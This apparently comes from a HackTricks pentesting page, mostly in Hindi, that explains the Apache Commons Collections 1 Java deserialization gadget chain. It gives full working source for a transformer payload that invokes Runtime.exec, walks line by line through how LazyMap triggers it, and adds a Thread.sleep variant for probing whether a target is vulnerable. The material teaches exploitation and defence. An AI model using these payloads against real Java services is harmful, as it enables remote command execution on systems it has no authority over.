CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Support HackTricks

Java Transformers to Rutime exec()

कई जगहों पर आप एक java deserialization payload पा सकते हैं जो Apache common collections से transformers का उपयोग करता है जैसे कि निम्नलिखित:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

यदि आपको जावा डेसिरियलाइजेशन पेलोड्स के बारे में कुछ नहीं पता है, तो यह समझना मुश्किल हो सकता है कि यह कोड कैलकुलेटर को क्यों चलाएगा।

सबसे पहले, आपको यह जानने की आवश्यकता है कि जावा में ट्रांसफार्मर कुछ ऐसा है जो एक क्लास को प्राप्त करता है और इसे एक अलग क्लास में बदलता है। यह जानना भी दिलचस्प है कि यहाँ एक्सीक्यूट किया जा रहा पेलोड समकक्ष है:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

या और सटीक रूप से, अंत में क्या निष्पादित किया जाएगा:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

कैसे

तो, पहला payload उन "सरल" एक-लाइनर्स के बराबर कैसे प्रस्तुत किया गया है?

पहले तो, आप payload में देख सकते हैं कि एक transform का एक श्रृंखला (array) बनाई गई है:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

यदि आप कोड पढ़ते हैं, तो आप देखेंगे कि यदि आप किसी तरह से ऐरे के परिवर्तन को श्रृंखला में जोड़ते हैं, तो आप मनमाने कमांड निष्पादित करने में सक्षम हो सकते हैं।

तो, वे परिवर्तन कैसे श्रृंखला में जोड़े जाते हैं?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

पेलोड के अंतिम अनुभाग में आप देख सकते हैं कि एक Map ऑब्जेक्ट बनाया गया है। फिर, LazyMap से decorate फ़ंक्शन को मैप ऑब्जेक्ट और चेन किए गए ट्रांसफार्मर्स के साथ निष्पादित किया जाता है। निम्नलिखित कोड से आप देख सकते हैं कि यह चेन किए गए ट्रांसफार्मर्स को lazyMap.factory विशेषता के अंदर कॉपी करने का कारण बनेगा:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

और फिर महान समापन निष्पादित होता है: lazyMap.get("anything");

यह get फ़ंक्शन का कोड है:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

और यह transform फ़ंक्शन का कोड है

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

तो, याद रखें कि factory के अंदर हमने chainedTransformer को सहेजा था और transform फ़ंक्शन के अंदर हम सभी उन ट्रांसफार्मर्स को चेन में जा रहे हैं और एक के बाद एक निष्पादित कर रहे हैं। मजेदार बात यह है कि प्रत्येक ट्रांसफार्मर object को इनपुट के रूप में उपयोग कर रहा है और object पिछले निष्पादित ट्रांसफार्मर से आउटपुट है। इसलिए, सभी ट्रांसफार्म्स चेन में दुर्भावनापूर्ण पेलोड को निष्पादित कर रहे हैं

सारांश

अंत में, यह देखते हुए कि lazyMap चेन किए गए ट्रांसफार्मर्स को get विधि के अंदर कैसे प्रबंधित कर रहा है, यह ऐसा है जैसे हम निम्नलिखित कोड को निष्पादित कर रहे हैं:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

ध्यान दें कि value प्रत्येक ट्रांसफॉर्म का इनपुट है और पिछले ट्रांसफॉर्म का आउटपुट है, जो एक-लाइनर के निष्पादन की अनुमति देता है:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

ध्यान दें कि यहाँ गैजेट्स का वर्णन किया गया है जो ComonsCollections1 पेलोड के लिए उपयोग किए जाते हैं। लेकिन यह छोड़ दिया गया है कि यह सब कैसे शुरू होता है और यह कैसे निष्पादित होता है। आप यहाँ देख सकते हैं कि ysoserial, इस पेलोड को निष्पादित करने के लिए, एक AnnotationInvocationHandler ऑब्जेक्ट का उपयोग करता है क्योंकि जब यह ऑब्जेक्ट डीसिरियलाइज होता है, यह payload.get() फ़ंक्शन को निष्पादित करेगा जो पूरे पेलोड को निष्पादित करेगा

Java Thread Sleep

यह पेलोड यह पहचानने के लिए उपयोगी हो सकता है कि क्या वेब कमजोर है क्योंकि यह यदि कमजोर है तो एक स्लीप निष्पादित करेगा

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

अधिक गैजेट्स

आप अधिक गैजेट्स यहाँ पा सकते हैं: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

HackTricks का समर्थन करें

Last updated